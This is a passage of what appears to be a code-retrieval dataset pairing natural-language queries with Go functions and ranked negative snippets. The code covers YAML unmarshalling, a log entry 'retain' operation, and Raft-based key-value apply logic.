metadata\\n\\t\\tif c.Kind == yaml.MappingNode {\\n\\t\\t\\tv := NewVersionConfiguration(lastId)\\n\\t\\t\\terr := c.Decode(&v)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn errors.Wrapf(err, \\\"decoding yaml for %q\\\", lastId)\\n\\t\\t\\t}\\n\\n\\t\\t\\tgc.addVersion(lastId, v)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// $payloadType: \\n\\t\\tif strings.EqualFold(lastId, payloadTypeTag) && c.Kind == yaml.ScalarNode {\\n\\t\\t\\tswitch strings.ToLower(c.Value) {\\n\\t\\t\\tcase string(OmitEmptyProperties):\\n\\t\\t\\t\\tgc.PayloadType.Set(OmitEmptyProperties)\\n\\t\\t\\tcase string(ExplicitCollections):\\n\\t\\t\\t\\tgc.PayloadType.Set(ExplicitCollections)\\n\\t\\t\\tcase string(ExplicitProperties):\\n\\t\\t\\t\\tgc.PayloadType.Set(ExplicitProperties)\\n\\t\\t\\tdefault:\\n\\t\\t\\t\\treturn errors.Errorf(\\\"unknown %s value: %s.\\\", payloadTypeTag, c.Value)\\n\\t\\t\\t}\\n\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// No handler for this value, return an error\\n\\t\\treturn errors.Errorf(\\n\\t\\t\\t\\\"group configuration, unexpected yaml value %s: %s (line %d col %d)\\\", lastId, c.Value, c.Line, c.Column)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (i ChannelName) MarshalYAML() (interface{}, error) {\\n\\treturn i.String(), nil\\n}\",\n \"func (k *Ktype) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar ktyp string\\n\\terr := unmarshal(&ktyp)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*k = KeventNameToKtype(ktyp)\\n\\treturn nil\\n}\",\n \"func (b *Bool) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar candidate bool\\n\\tif err := unmarshal(&candidate); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tb.set(candidate)\\n\\treturn nil\\n}\",\n \"func (e *ExternalJavaPackagePrefixConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn e.unmarshalWith(unmarshal)\\n}\",\n \"func (s *Store) UnmarshalYAML(unmarshal func(interface{}) error) (err error) {\\n\\ttype storeYAML map[string]map[string]entryYAML\\n\\n\\tsy := make(storeYAML, 0)\\n\\n\\terr = unmarshal(&sy)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*s = NewStore()\\n\\tfor groupID, group := range sy {\\n\\t\\tfor entryID, entry := range group {\\n\\t\\t\\tentry.e.setGroup(groupID)\\n\\t\\t\\tif err = s.add(entryID, entry.e); err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func Test_jsonpatch_Remove_NonExistent_IsError(t *testing.T) {\\n\\tg := NewWithT(t)\\n\\n\\tpatch1, _ := jsonpatch.DecodePatch([]byte(`[{\\\"op\\\":\\\"remove\\\", \\\"path\\\":\\\"/test_key\\\"}]`))\\n\\n\\torigDoc := []byte(`{\\\"asd\\\":\\\"foof\\\"}`)\\n\\n\\t_, err := patch1.Apply(origDoc)\\n\\tg.Expect(err).Should(HaveOccurred(), \\\"patch apply\\\")\\n}\",\n \"func (e *ExternalOptimizeForConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn e.unmarshalWith(unmarshal)\\n}\",\n \"func (d *Dataset) YAML() (string, error) {\\n\\tback := d.Dict()\\n\\n\\tb, err := yaml.Marshal(back)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\treturn string(b), nil\\n}\",\n \"func (o *OpenAPI3PathExtension) MarshalYAML() (interface{}, error) {\\n\\treturn util.MarshalYAMLWithDescriptions(o)\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.68686074","0.5938255","0.59079504","0.5855721","0.5783782","0.55585355","0.55585355","0.55462223","0.5516447","0.5481914","0.5480611","0.5450587","0.5427814","0.5404739","0.5376489","0.5368126","0.53574896","0.5305221","0.52606946","0.5249209","0.5240406","0.5235422","0.5231168","0.52063084","0.5195817","0.5194121","0.51849365","0.51843697","0.5173321","0.5171739","0.5170161","0.5152375","0.5149318","0.51383036","0.512819","0.512819","0.5127155","0.51223654","0.51181275","0.51115024","0.510564","0.50474256","0.50474256","0.50341374","0.50330174","0.50270903","0.50142807","0.50045407","0.49974388","0.49963978","0.49922353","0.49910867","0.49762765","0.49749568","0.49693993","0.4962283","0.49622512","0.49497685","0.49485207","0.49432397","0.4943014","0.49358588","0.49354693","0.49299935","0.492327","0.4921134","0.49201217","0.49150655","0.49138933","0.4908749","0.49008855","0.49007174","0.48941687","0.48901692","0.48872098","0.4885578","0.48850405","0.4880211","0.4873856","0.48712295","0.4869636","0.4865847","0.48606655","0.48577833","0.48493513","0.48453873","0.48416427","0.48274446","0.48273912","0.48229074","0.4821632","0.4820746","0.48175249","0.4816657","0.4809993","0.4806247","0.48056105","0.4796669","0.47949532","0.47762713"],"string":"[\n \"0.68686074\",\n \"0.5938255\",\n \"0.59079504\",\n \"0.5855721\",\n \"0.5783782\",\n \"0.55585355\",\n \"0.55585355\",\n \"0.55462223\",\n \"0.5516447\",\n \"0.5481914\",\n \"0.5480611\",\n \"0.5450587\",\n \"0.5427814\",\n \"0.5404739\",\n \"0.5376489\",\n \"0.5368126\",\n \"0.53574896\",\n \"0.5305221\",\n \"0.52606946\",\n \"0.5249209\",\n \"0.5240406\",\n \"0.5235422\",\n \"0.5231168\",\n \"0.52063084\",\n \"0.5195817\",\n \"0.5194121\",\n \"0.51849365\",\n \"0.51843697\",\n \"0.5173321\",\n \"0.5171739\",\n \"0.5170161\",\n \"0.5152375\",\n \"0.5149318\",\n \"0.51383036\",\n \"0.512819\",\n \"0.512819\",\n \"0.5127155\",\n \"0.51223654\",\n \"0.51181275\",\n \"0.51115024\",\n \"0.510564\",\n \"0.50474256\",\n \"0.50474256\",\n \"0.50341374\",\n \"0.50330174\",\n \"0.50270903\",\n \"0.50142807\",\n \"0.50045407\",\n \"0.49974388\",\n \"0.49963978\",\n \"0.49922353\",\n \"0.49910867\",\n \"0.49762765\",\n \"0.49749568\",\n \"0.49693993\",\n \"0.4962283\",\n \"0.49622512\",\n \"0.49497685\",\n \"0.49485207\",\n \"0.49432397\",\n \"0.4943014\",\n \"0.49358588\",\n \"0.49354693\",\n \"0.49299935\",\n \"0.492327\",\n \"0.4921134\",\n \"0.49201217\",\n \"0.49150655\",\n \"0.49138933\",\n \"0.4908749\",\n \"0.49008855\",\n \"0.49007174\",\n \"0.48941687\",\n \"0.48901692\",\n \"0.48872098\",\n \"0.4885578\",\n \"0.48850405\",\n \"0.4880211\",\n \"0.4873856\",\n \"0.48712295\",\n \"0.4869636\",\n \"0.4865847\",\n \"0.48606655\",\n \"0.48577833\",\n \"0.48493513\",\n \"0.48453873\",\n \"0.48416427\",\n \"0.48274446\",\n \"0.48273912\",\n \"0.48229074\",\n \"0.4821632\",\n \"0.4820746\",\n \"0.48175249\",\n \"0.4816657\",\n \"0.4809993\",\n \"0.4806247\",\n \"0.48056105\",\n \"0.4796669\",\n \"0.47949532\",\n \"0.47762713\"\n]"},"document_score":{"kind":"string","value":"0.81193405"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106176,"cells":{"query":{"kind":"string","value":"Apply will perform the retain operation on an entry"},"document":{"kind":"string","value":"func (op *OpRetain) Apply(e *entry.Entry) error {\n\tnewEntry := entry.New()\n\tnewEntry.Timestamp = e.Timestamp\n\tfor _, field := range op.Fields {\n\t\tval, ok := e.Get(field)\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\t\terr := newEntry.Set(field, val)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t*e = *newEntry\n\treturn nil\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (u updateCachedUploadRevision) apply(data *journalPersist) {\n\tc := data.CachedRevisions[u.Revision.ParentID.String()]\n\tc.Revision = u.Revision\n\tif u.SectorIndex == len(c.MerkleRoots) {\n\t\tc.MerkleRoots = append(c.MerkleRoots, u.SectorRoot)\n\t} else if u.SectorIndex < len(c.MerkleRoots) {\n\t\tc.MerkleRoots[u.SectorIndex] = u.SectorRoot\n\t} else {\n\t\t// Shouldn't happen. TODO: Add correct error handling.\n\t}\n\tdata.CachedRevisions[u.Revision.ParentID.String()] = c\n}","func (u updateCachedDownloadRevision) apply(data *journalPersist) {\n\tc := data.CachedRevisions[u.Revision.ParentID.String()]\n\tc.Revision = u.Revision\n\tdata.CachedRevisions[u.Revision.ParentID.String()] = c\n}","func (op *OpRemove) Apply(e *entry.Entry) error {\n\te.Delete(op.Field)\n\treturn nil\n}","func (c *Controller) apply(key string) error {\n\titem, exists, err := c.indexer.GetByKey(key)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !exists {\n\t\treturn c.remove(key)\n\t}\n\treturn c.upsert(item, key)\n}","func (stackEntry *valuePayloadPropagationStackEntry) Retain() *valuePayloadPropagationStackEntry {\n\treturn &valuePayloadPropagationStackEntry{\n\t\tCachedPayload: stackEntry.CachedPayload.Retain(),\n\t\tCachedPayloadMetadata: stackEntry.CachedPayloadMetadata.Retain(),\n\t\tCachedTransaction: stackEntry.CachedTransaction.Retain(),\n\t\tCachedTransactionMetadata: stackEntry.CachedTransactionMetadata.Retain(),\n\t}\n}","func (kv *RaftKV) Apply(msg *raft.ApplyMsg) {\n\tkv.mu.Lock()\n\tdefer kv.mu.Unlock()\n\n\tvar args Op\n\targs = msg.Command.(Op)\n\tif kv.op_count[args.Client] >= args.Id {\n\t\tDPrintf(\"Duplicate operation\\n\")\n\t}else {\n\t\tswitch args.Type {\n\t\tcase OpPut:\n\t\t\tDPrintf(\"Put Key/Value %v/%v\\n\", args.Key, args.Value)\n\t\t\tkv.data[args.Key] = args.Value\n\t\tcase OpAppend:\n\t\t\tDPrintf(\"Append Key/Value %v/%v\\n\", args.Key, args.Value)\n\t\t\tkv.data[args.Key] = kv.data[args.Key] + args.Value\n\t\tdefault:\n\t\t}\n\t\tkv.op_count[args.Client] = args.Id\n\t}\n\n\t//DPrintf(\"@@@Index:%v len:%v content:%v\\n\", msg.Index, len(kv.pendingOps[msg.Index]), kv.pendingOps[msg.Index])\n\t//DPrintf(\"@@@kv.pendingOps[%v]:%v\\n\", msg.Index, kv.pendingOps[msg.Index])\n\tfor _, i := range kv.pendingOps[msg.Index] {\n\t\tif i.op.Client==args.Client && i.op.Id==args.Id {\n\t\t\tDPrintf(\"Client:%v %v, Id:%v %v\", i.op.Client, args.Client, i.op.Id, args.Id)\n\t\t\ti.flag <- true\n\t\t}else {\n\t\t\tDPrintf(\"Client:%v %v, Id:%v %v\", i.op.Client, args.Client, i.op.Id, args.Id)\n\t\t\ti.flag <-false\n\t\t}\n\t}\n\tdelete(kv.pendingOps, msg.Index)\n}","func (gm *gmap) applyEntries(gmp *gmapProgress, apply *apply) {\n\t// Has entry?\n\tif len(apply.entries) == 0 {\n\t\treturn\n\t}\n\t// Is the node leave the cluster tool long, the latest snapshot is better than the entry.\n\tfirsti := apply.entries[0].Index\n\tif firsti > gmp.appliedi+1 {\n\t\tlogger.Panicf(\"first index of committed entry[%d] should <= appliedi[%d] + 1\", firsti, gmp.appliedi)\n\t}\n\t// Extract useful entries.\n\tvar ents []raftpb.Entry\n\tif gmp.appliedi+1-firsti < uint64(len(apply.entries)) {\n\t\tents = apply.entries[gmp.appliedi+1-firsti:]\n\t}\n\t// Iterate all entries\n\tfor _, e := range ents {\n\t\tswitch e.Type {\n\t\t// Normal entry.\n\t\tcase raftpb.EntryNormal:\n\t\t\tif len(e.Data) != 0 {\n\t\t\t\t// Unmarshal request.\n\t\t\t\tvar req InternalRaftRequest\n\t\t\t\tpbutil.MustUnmarshal(&req, e.Data)\n\n\t\t\t\tvar ar applyResult\n\t\t\t\t// Put new value\n\t\t\t\tif put := req.Put; put != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[put.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", put.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get key, value and revision.\n\t\t\t\t\tkey, value, revision := put.Key, set.vtype.unwrap(put.Value), e.Index\n\t\t\t\t\t// Get map and put value into map.\n\t\t\t\t\tm := set.get(put.Map)\n\t\t\t\t\tm.put(key, value, revision)\n\t\t\t\t\t// Send put event to watcher\n\t\t\t\t\tevent := MapEvent{Type: PUT, KV: &KeyValue{Key: key, Value: value}}\n\t\t\t\t\tm.watchers.Range(func(key, value interface{}) bool {\n\t\t\t\t\t\tkey.(*watcher).eventc <- event\n\t\t\t\t\t\treturn true\n\t\t\t\t\t})\n\t\t\t\t\t// Set apply result.\n\t\t\t\t\tar.rev = revision\n\t\t\t\t}\n\t\t\t\t// Delete value\n\t\t\t\tif del := req.Delete; del != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[del.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", del.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get map and delete value from map.\n\t\t\t\t\tm := set.get(del.Map)\n\t\t\t\t\tif pre := m.delete(del.Key); nil != pre {\n\t\t\t\t\t\t// Send put event to watcher\n\t\t\t\t\t\tar.pre = *pre\n\t\t\t\t\t\tevent := MapEvent{Type: DELETE, PrevKV: &KeyValue{Key: del.Key, Value: ar.pre.Value}}\n\t\t\t\t\t\tm.watchers.Range(func(key, value interface{}) bool {\n\t\t\t\t\t\t\tkey.(*watcher).eventc <- event\n\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t})\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Update value\n\t\t\t\tif update := req.Update; update != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[update.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", update.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get map.\n\t\t\t\t\tm := set.get(update.Map)\n\t\t\t\t\t// Update value.\n\t\t\t\t\tpre, ok := m.update(update.Key, update.Value, update.Revision, e.Index)\n\t\t\t\t\tif ok {\n\t\t\t\t\t\t// The revision will be set only if update succeed\n\t\t\t\t\t\tar.rev = e.Index\n\t\t\t\t\t}\n\t\t\t\t\tif nil != pre {\n\t\t\t\t\t\tar.pre = *pre\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Trigger proposal waiter.\n\t\t\t\tgm.wait.Trigger(req.ID, &ar)\n\t\t\t}\n\t\t// The configuration of gmap is fixed and wil not be synchronized through raft.\n\t\tcase raftpb.EntryConfChange:\n\t\tdefault:\n\t\t\tlogger.Panicf(\"entry type should be either EntryNormal or EntryConfChange\")\n\t\t}\n\n\t\tgmp.appliedi, gmp.appliedt = e.Index, e.Term\n\t}\n}","func (s *StateMachine) Apply(req msgs.ClientRequest) msgs.ClientResponse {\n\tglog.V(1).Info(\"Request has been safely replicated by consensus algorithm\", req)\n\n\t// check if request already applied\n\tif found, reply := s.Cache.check(req); found {\n\t\tglog.V(1).Info(\"Request found in cache and thus need not be applied\", req)\n\t\treturn reply\n\t}\n\t// apply request and cache\n\treply := msgs.ClientResponse{\n\t\treq.ClientID, req.RequestID, true, s.Store.Process(req.Request)}\n\ts.Cache.add(reply)\n\treturn reply\n}","func (c *CachedMarkerIndexBranchIDMapping) Retain() *CachedMarkerIndexBranchIDMapping {\n\treturn &CachedMarkerIndexBranchIDMapping{c.CachedObject.Retain()}\n}","func (u updateUploadRevision) apply(data *journalPersist) {\n\tif len(u.NewRevisionTxn.FileContractRevisions) == 0 {\n\t\tbuild.Critical(\"updateUploadRevision is missing its FileContractRevision\")\n\t\treturn\n\t}\n\n\trev := u.NewRevisionTxn.FileContractRevisions[0]\n\tc := data.Contracts[rev.ParentID.String()]\n\tc.LastRevisionTxn = u.NewRevisionTxn\n\n\tif u.NewSectorIndex == len(c.MerkleRoots) {\n\t\tc.MerkleRoots = append(c.MerkleRoots, u.NewSectorRoot)\n\t} else if u.NewSectorIndex < len(c.MerkleRoots) {\n\t\tc.MerkleRoots[u.NewSectorIndex] = u.NewSectorRoot\n\t} else {\n\t\t// Shouldn't happen. TODO: Correctly handle error.\n\t}\n\n\tc.UploadSpending = u.NewUploadSpending\n\tc.StorageSpending = u.NewStorageSpending\n\tdata.Contracts[rev.ParentID.String()] = c\n}","func (u updateDownloadRevision) apply(data *journalPersist) {\n\tif len(u.NewRevisionTxn.FileContractRevisions) == 0 {\n\t\tbuild.Critical(\"updateDownloadRevision is missing its FileContractRevision\")\n\t\treturn\n\t}\n\trev := u.NewRevisionTxn.FileContractRevisions[0]\n\tc := data.Contracts[rev.ParentID.String()]\n\tc.LastRevisionTxn = u.NewRevisionTxn\n\tc.DownloadSpending = u.NewDownloadSpending\n\tdata.Contracts[rev.ParentID.String()] = c\n}","func (r *Instance) Apply(ctx context.Context, s *Instance, d *state.InstanceDiff, meta interface{}) error {\n\t// TODO: Implement this method\n\treturn nil\n}","func (f *raftStore) Apply(l *raft.Log) interface{} {\n\tvar newState state\n\tif err := json.Unmarshal(l.Data, &newState); err != nil {\n\t\treturn errors.Wrap(err, \"failed to unmarshal state\")\n\t}\n\tf.logger.Debug(\"Applying new status\", \"old\", f.m.GetCurrentState(), \"new\", newState)\n\tf.mu.Lock()\n\tif f.inFlight != nil && newState.CompareHRSTo(*f.inFlight) >= 0 {\n\t\tf.inFlight = nil\n\t}\n\tf.mu.Unlock()\n\tf.m.setNewState(newState)\n\treturn nil\n}","func (a Atomic) Apply(ctx Context, c Change) Value {\n\tswitch c := c.(type) {\n\tcase nil:\n\t\treturn a\n\tcase Replace:\n\t\tif !c.IsCreate() {\n\t\t\treturn c.After\n\t\t}\n\t}\n\treturn c.(Custom).ApplyTo(ctx, a)\n}","func (kv *KVServer) ApplyOp(op Op, opIndex int, opTerm int) KVAppliedOp {\n\terr := Err(OK)\n\tval, keyOk := kv.store[op.Key]\n\n\t// only do the store modification if we haven't already\n\t// seen this request (can happen if a leader crashes after comitting\n\t// but before responding to client)\n\tif prevOp, ok := kv.latestResponse[op.ClientID]; !ok || prevOp.KVOp.ClientSerial != op.ClientSerial {\n\t\tif op.OpType == \"Get\" && !keyOk {\n\t\t\t// Get\n\t\t\terr = Err(ErrNoKey)\n\t\t} else if op.OpType == \"Put\" {\n\t\t\t// Put\n\t\t\tkv.store[op.Key] = op.Value\n\t\t} else if op.OpType == \"Append\" {\n\t\t\t// Append (may need to just Put)\n\t\t\tif !keyOk {\n\t\t\t\tkv.store[op.Key] = op.Value // should this be ErrNoKey?\n\t\t\t} else {\n\t\t\t\tkv.store[op.Key] += op.Value\n\t\t\t}\n\t\t}\n\t\tkv.Log(LogInfo, \"Store updated:\", kv.store)\n\t} else {\n\t\tkv.Log(LogDebug, \"Skipping store update, detected duplicate command.\")\n\t}\n\n\t// create the op, add the Value field if a Get\n\tappliedOp := KVAppliedOp{\n\t\tTerm: opTerm,\n\t\tIndex: opIndex,\n\t\tKVOp: op,\n\t\tErr: err,\n\t}\n\tif op.OpType == \"Get\" {\n\t\tappliedOp.Value = val\n\t}\n\tkv.Log(LogDebug, \"Applied op\", appliedOp)\n\n\t// update tracking of latest op applied\n\tkv.lastIndexApplied = appliedOp.Index\n\tkv.lastTermApplied = appliedOp.Term\n\treturn appliedOp\n}","func (l *leader) applyCommitted() {\n\t// add all entries <=commitIndex & add only non-log entries at commitIndex+1\n\tvar prev, ne *newEntry = nil, l.neHead\n\tfor ne != nil {\n\t\tif ne.index <= l.commitIndex {\n\t\t\tprev, ne = ne, ne.next\n\t\t} else if ne.index == l.commitIndex+1 && !ne.isLogEntry() {\n\t\t\tprev, ne = ne, ne.next\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\tvar head *newEntry\n\tif prev != nil {\n\t\thead = l.neHead\n\t\tprev.next = nil\n\t\tl.neHead = ne\n\t\tif l.neHead == nil {\n\t\t\tl.neTail = nil\n\t\t}\n\t}\n\n\tapply := fsmApply{head, l.log.ViewAt(l.log.PrevIndex(), l.commitIndex)}\n\tif trace {\n\t\tprintln(l, apply)\n\t}\n\tl.fsm.ch <- apply\n}","func (c *CachedPersistableEvent) Retain() *CachedPersistableEvent {\n\treturn &CachedPersistableEvent{c.CachedObject.Retain()}\n}","func (op *OpFlatten) Apply(e *entry.Entry) error {\n\tparent := op.Field.Parent()\n\tval, ok := e.Delete(op.Field)\n\tif !ok {\n\t\t// The field doesn't exist, so ignore it\n\t\treturn fmt.Errorf(\"apply flatten: field %s does not exist on body\", op.Field)\n\t}\n\n\tvalMap, ok := val.(map[string]interface{})\n\tif !ok {\n\t\t// The field we were asked to flatten was not a map, so put it back\n\t\terr := e.Set(op.Field, val)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"reset non-map field\")\n\t\t}\n\t\treturn fmt.Errorf(\"apply flatten: field %s is not a map\", op.Field)\n\t}\n\n\tfor k, v := range valMap {\n\t\terr := e.Set(parent.Child(k), v)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}","func (s *State) apply(commit Commit) error {\n\t// state to identify proposals being processed\n\t// in the PendingProposals. Avoids linear loop to\n\t// remove entries from PendingProposals.\n\tvar processedProposals = map[string]bool{}\n\terr := s.applyProposals(commit.Updates, processedProposals)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = s.applyProposals(commit.Removes, processedProposals)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = s.applyProposals(commit.Adds, processedProposals)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (r Record) Keep(f bool) Record {\n\tif f {\n\t\treturn r\n\t}\n\n\treturn Record{dropped: true}\n}","func (c *CompareAndSwapCommand) Apply(context raft.Context) (interface{}, error) {\n\ts, _ := context.Server().StateMachine().(store.Store)\n\n\te, err := s.CompareAndSwap(c.Key, c.PrevValue, c.PrevIndex, c.Value, c.ExpireTime)\n\n\tif err != nil {\n\t\tlog.Debug(err)\n\t\treturn nil, err\n\t}\n\n\treturn e, nil\n}","func (a RetainAction) Apply(t *testing.T, transport peer.Transport, deps TransportDeps) {\n\tpeerID := deps.PeerIdentifiers[a.InputIdentifierID]\n\tsub := deps.Subscribers[a.InputSubscriberID]\n\n\tp, err := transport.RetainPeer(peerID, sub)\n\n\tif a.ExpectedErr != nil {\n\t\tassert.Equal(t, a.ExpectedErr, err)\n\t\tassert.Nil(t, p)\n\t\treturn\n\t}\n\n\tif assert.NoError(t, err) && assert.NotNil(t, p) {\n\t\tassert.Equal(t, a.ExpectedPeerID, p.Identifier())\n\t}\n}","func (c *Controller) Apply(change *sink.Change) error {\n\tc.syncedMu.Lock()\n\tc.synced[change.Collection] = true\n\tc.syncedMu.Unlock()\n\tfor _, obj := range change.Objects {\n\t\tnamespace, name := extractNameNamespace(obj.Metadata.Name)\n\t\tfmt.Println(\"Got an update for name: \", name)\n\t\tfmt.Println(\"The namespace updated is: \", namespace)\n\t}\n\treturn nil\n}","func (d *SliceDataStore) Rem(record Record) {\n\tfor i, r := range d.slice {\n\t\tif r.Key == record.Key {\n\t\t\td.slice[i] = d.slice[len(d.slice)-1]\n\t\t\td.slice = d.slice[:len(d.slice)-1]\n\t\t}\n\t}\n}","func (c *C) evict() *entry {\n\te := c.mu.used.prev\n\tif e == &c.mu.used {\n\t\tpanic(\"no more used entries\")\n\t}\n\te.remove()\n\tc.mu.availableMem += e.memoryEstimate()\n\tdelete(c.mu.m, e.SQL)\n\te.clear()\n\n\treturn e\n}","func (this *ObjectUnwrap) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := arg.Actual().(map[string]interface{})\n\tif len(oa) == 1 {\n\t\tfor _, v := range oa {\n\t\t\treturn value.NewValue(v), nil\n\t\t}\n\t}\n\n\treturn value.NULL_VALUE, nil\n}","func (op *OpMove) Apply(e *entry.Entry) error {\n\tval, ok := e.Delete(op.From)\n\tif !ok {\n\t\treturn fmt.Errorf(\"apply move: field %s does not exist on body\", op.From)\n\t}\n\n\treturn e.Set(op.To, val)\n}","func (m *TMap) Apply(args ...interface{}) interface{} {\n\tkey := args[0]\n\treturn m.At(key)\n}","func (k *DistKeeper) Keep(c ComparableDist) {\n\tif c.Dist <= k.Heap[0].Dist {\n\t\theap.Push(k, c)\n\t}\n}","func (b *BranchDAGEvent) Retain() *BranchDAGEvent {\n\treturn &BranchDAGEvent{\n\t\tBranch: b.Branch.Retain(),\n\t}\n}","func (c *DeleteCommand) Apply(context raft.Context) (interface{}, error) {\n\ts := context.Server().Context().(*Server)\n\tnextCAS, err := s.db.Delete(c.Path, c.CAS)\n\treturn nextCAS, err\n}","func (h *provider) Apply(ctx wfContext.Context, v *value.Value, act types.Action) error {\n\tvar workload = new(unstructured.Unstructured)\n\tif err := v.UnmarshalTo(workload); err != nil {\n\t\treturn err\n\t}\n\n\tdeployCtx := context.Background()\n\tif workload.GetNamespace() == \"\" {\n\t\tworkload.SetNamespace(\"default\")\n\t}\n\tif err := h.deploy.Apply(deployCtx, workload); err != nil {\n\t\treturn err\n\t}\n\treturn v.FillObject(workload.Object)\n}","func (f ReconcilerFunc) Apply(ctx context.Context, id string) Result {\n\treturn f(ctx, id)\n}","func (k *NKeeper) Keep(c ComparableDist) {\n\tif c.Dist <= k.Heap[0].Dist { // Favour later finds to displace sentinel.\n\t\tif len(k.Heap) == cap(k.Heap) {\n\t\t\theap.Pop(k)\n\t\t}\n\t\theap.Push(k, c)\n\t}\n}","func (r *CommonReconciler) Apply(ctx context.Context, req ctrl.Request, chaos common.InnerCommonObject) error {\n\treturn r.Perform(ctx, req, chaos)\n}","func (s *store) apply(b []byte) error {\n\tif s.raftState == nil {\n\t\treturn fmt.Errorf(\"store not open\")\n\t}\n\treturn s.raftState.apply(b)\n}","func (c *Context) Apply() (*State, error) {\n\tdefer c.acquireRun(\"apply\")()\n\n\t// Copy our own state\n\tc.state = c.state.DeepCopy()\n\n\t// Build the graph.\n\tgraph, err := c.Graph(GraphTypeApply, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Determine the operation\n\toperation := walkApply\n\tif c.destroy {\n\t\toperation = walkDestroy\n\t}\n\n\t// Walk the graph\n\twalker, err := c.walk(graph, operation)\n\tif len(walker.ValidationErrors) > 0 {\n\t\terr = multierror.Append(err, walker.ValidationErrors...)\n\t}\n\n\t// Clean out any unused things\n\tc.state.prune()\n\n\treturn c.state, err\n}","func (c *Contract) Apply(ctx TransactionContextInterface, paperNumber string, jeweler string, applyDateTime string, financingAmount int) (*InventoryFinancingPaper, error) {\r\n\tpaper := InventoryFinancingPaper{PaperNumber: paperNumber, Jeweler: jeweler, ApplyDateTime: applyDateTime, FinancingAmount: financingAmount}\r\n\tpaper.SetApplied()\r\n\tpaper.LogPrevState()\r\n\r\n\terr := ctx.GetPaperList().AddPaper(&paper)\r\n\r\n\tif err != nil {\r\n\t\treturn nil, err\r\n\t}\r\n\tfmt.Printf(\"The jeweler %q has applied for a new inventory financingp paper %q, the apply date is %q,the financing amount is %v.\\n Current State is %q\", jeweler, paperNumber, applyDateTime, financingAmount, paper.GetState())\r\n\treturn &paper, nil\r\n}","func (m *ItemsMutator) Apply() error {\n\tm.lock.Lock()\n\tdefer m.lock.Unlock()\n\t*m.target = *m.proxy\n\treturn nil\n}","func (b *DirCensus) Remove(when interface{}, key Key) Population {\n\tc := b.MemCensus.Remove(when, key)\n\n\tif c.Count == 0 && b.IsRecorded(c.Key) {\n\t\tb.Record(c)\n\t}\n\treturn c\n}","func (kv *ShardKV) applier() {\n\tfor !kv.killed() {\n\t\tm := <-kv.applyCh\n\t\tkv.mu.Lock()\n\t\tif m.SnapshotValid { //snapshot\n\t\t\tkv.logger.L(logger.ShardKVSnap, \"recv Installsnapshot %v,lastApplied %d\\n\", m.SnapshotIndex, kv.lastApplied)\n\t\t\tif kv.rf.CondInstallSnapshot(m.SnapshotTerm,\n\t\t\t\tm.SnapshotIndex, m.Snapshot) {\n\t\t\t\told_apply := kv.lastApplied\n\t\t\t\tkv.logger.L(logger.ShardKVSnap, \"decide Installsnapshot %v, lastApplied %d\\n\", m.SnapshotIndex, kv.lastApplied)\n\t\t\t\tkv.applyInstallSnapshot(m.Snapshot)\n\t\t\t\tfor i := old_apply + 1; i <= m.SnapshotIndex; i++ {\n\t\t\t\t\tkv.notify(i)\n\t\t\t\t}\n\t\t\t}\n\t\t} else if m.CommandValid && m.CommandIndex == 1+kv.lastApplied {\n\n\t\t\tif v, ok := m.Command.(Command); !ok {\n\t\t\t\t//err\n\t\t\t\tkv.logger.L(logger.ShardKVApply, \"nop apply %#v\\n\", m.Command)\n\t\t\t\t//panic(\"not ok assertion in apply!\")\n\t\t\t} else {\n\t\t\t\tkv.logger.L(logger.ShardKVApply, \"apply index %d, opt %s key %v, num %d lastApplied %d\\n\",\n\t\t\t\t\tm.CommandIndex,\n\t\t\t\t\tTYPE_NAME[v.OptType], v.Key, v.Num, 